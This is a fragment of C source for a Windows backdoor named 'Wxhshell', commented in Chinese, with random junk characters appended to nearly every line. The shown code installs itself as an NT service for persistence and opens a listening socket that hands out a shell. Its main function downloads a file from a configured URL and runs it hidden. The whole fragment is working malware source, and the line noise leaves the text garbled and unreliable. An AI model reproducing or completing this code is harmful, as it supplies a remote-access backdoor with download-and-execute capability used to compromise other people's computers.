ULONG InheritedFromUniqueProcessId; dL-i)F
} PROCESS_BASIC_INFORMATION; $B\ H
*ZaaO^!
PROCNTQSIP NtQueryInformationProcess; `OqM8U
@
l3.
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; we3tx{j
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;f:gX`"\
OF[?Z
HANDLE hProcess; LN4qYp6)G
PROCESS_BASIC_INFORMATION pbi; Y25^]ON*\^
3X;{vO\a1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8'A72*dhX
if(NULL == hInst ) return 0; >H>gH2qp
q/NY72tj0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q*,Q5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `5q
;ssu
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yEq#Dr
*^]~RhjB
if (!NtQueryInformationProcess) return 0; Tzzq#z&F
[:iv4>ZZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3GF2eS$$P
if(!hProcess) return 0; &SH1q_&BQ
`
J]xP$)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WF2NG;f=
dH\XO-Z7v
CloseHandle(hProcess); 03k?:D+5
SHV4!xP-V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !4WEk
if(hProcess==NULL) return 0; 5+- I5HX|~
YuQ~AE'i
HMODULE hMod; P`S@n/}
char procName[255]; w\Mnu}<e$
unsigned long cbNeeded; ye%iDdf
"7,FXTaer
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MV0Lq:# N
i%-Ld
Ka}"
CloseHandle(hProcess); x({H{'9?
('C7=u&F
if(strstr(procName,"services")) return 1; // 以服务启动 wJeG(h
Y
ya`&V
return 0; // 注册表启动 h1[WhBL-O
} DWU`\9xA*
+/rH(Ni
// 主模块 Qd
&"BEs
int StartWxhshell(LPSTR lpCmdLine)
Pm+tQ
{ -F\qnsZ2
SOCKET wsl; @F~LW6K
BOOL val=TRUE; jjzA .8?(7
int port=0; 9zBMlc$X
struct sockaddr_in door; p`F9Amb
T6#CK
if(wscfg.ws_autoins) Install(); . ]@=es
!ABiy6d
port=atoi(lpCmdLine); nV*y`.+
=IU*}>#
if(port<=0) port=wscfg.ws_port;
d$W
(=4W-z7
WSADATA data; S'LZk9E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )IL
#>2n?
0d^Z uTN
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l;A,0,i
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p\p\q(S">
door.sin_family = AF_INET; l?8M
p$M
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %JZZ%xc
door.sin_port = htons(port); L<V3KS2y
+7V{ABfGl
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zYY$D.
closesocket(wsl); *sw7niw
return 1; O#a6+W"U
} (X[CsaXt
j*v40mXl`2
if(listen(wsl,2) == INVALID_SOCKET) { ? "/ fPV-
closesocket(wsl); Iu@y(wyg
return 1; -r7]S
} bzN-*3YE=
Wxhshell(wsl); w|[RDaA b
WSACleanup(); \2 y5_;O
kq=V4-a[
return 0; FQz?3w&ia
a:,y
Z
} ;`YkMS`=W
<A5]]{9 +
// 以NT服务方式启动 |RkcDrB~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q/ms]Du
{ N6OMYP1
DWORD status = 0; /93l74.w
DWORD specificError = 0xfffffff; wC_l@7t
%V`F!D<D
serviceStatus.dwServiceType = SERVICE_WIN32; #H?t!DU
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !$;a[Te
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YgUH'P-
serviceStatus.dwWin32ExitCode = 0; cF)/^5Z
serviceStatus.dwServiceSpecificExitCode = 0; $2^`Uca
serviceStatus.dwCheckPoint = 0; + @9.$6N
serviceStatus.dwWaitHint = 0; &,\=3'
V
r(J+1@
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?~"bR%
if (hServiceStatusHandle==0) return; <h).fX
PNOGN|D
status = GetLastError(); "\W-f
if (status!=NO_ERROR) j(:I7%3&(*
{ 2T@GA1G
serviceStatus.dwCurrentState = SERVICE_STOPPED; &3F}6W6A
serviceStatus.dwCheckPoint = 0; OO dSKf8
serviceStatus.dwWaitHint = 0; L4u;|-znw
serviceStatus.dwWin32ExitCode = status; 9^"b*&>P
serviceStatus.dwServiceSpecificExitCode = specificError; M->*{D@a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VV4Gjc
return; %3q0(Xl
} /MMd`VrC2
Migd(uw'
serviceStatus.dwCurrentState = SERVICE_RUNNING; u's`*T@.
serviceStatus.dwCheckPoint = 0; 3A:q7#m
serviceStatus.dwWaitHint = 0; n<sd!xmqFx
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); do*}syQ`O
} I:bD~Fb3
vu!d)Fy
// 处理NT服务事件,比如:启动、停止 n79QJl/
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;8WZx
{ T{qTj6I
switch(fdwControl) H1GRMDNXOA
{ Jj~EiA
case SERVICE_CONTROL_STOP: T9)nQ[
serviceStatus.dwWin32ExitCode = 0; &cWjEx
serviceStatus.dwCurrentState = SERVICE_STOPPED; O%g$9-?F0
serviceStatus.dwCheckPoint = 0; 1g##sSa6
serviceStatus.dwWaitHint = 0; b`yZ|j'ikd
{ J:uW`R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `RU[8@ 2%
} T _b^ Tc`
return; WwH+E]^e+
case SERVICE_CONTROL_PAUSE: taGU
serviceStatus.dwCurrentState = SERVICE_PAUSED; G22NQ~w8
break; Pq*s{
case SERVICE_CONTROL_CONTINUE: V.ht,
~l
serviceStatus.dwCurrentState = SERVICE_RUNNING; @`tXKP$so
break; ES~^M840f
case SERVICE_CONTROL_INTERROGATE: iwz
break; HEL!GC>#
}; c_aZ{S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5D M"0
} CQel3Jtt.
du$|lxC
// 标准应用程序主函数 W$U0[^1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RLlU"
sw+{
{ |qZko[W}=
b'MSkEiQG
// 获取操作系统版本 Wg{k$T_>
OsIsNt=GetOsVer(); Go,N>HN
GetModuleFileName(NULL,ExeFile,MAX_PATH); WN(ymcdYB
JN^&S
// 从命令行安装 SN4Q))dAU
if(strpbrk(lpCmdLine,"iI")) Install(); `%+ mO88o
]E =Iu
// 下载执行文件 *Av"JAX
if(wscfg.ws_downexe) { &g2 Eptx#
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +("7ZK?
WinExec(wscfg.ws_filenam,SW_HIDE); t8^m`W
} Y(cN}44
+&zYZA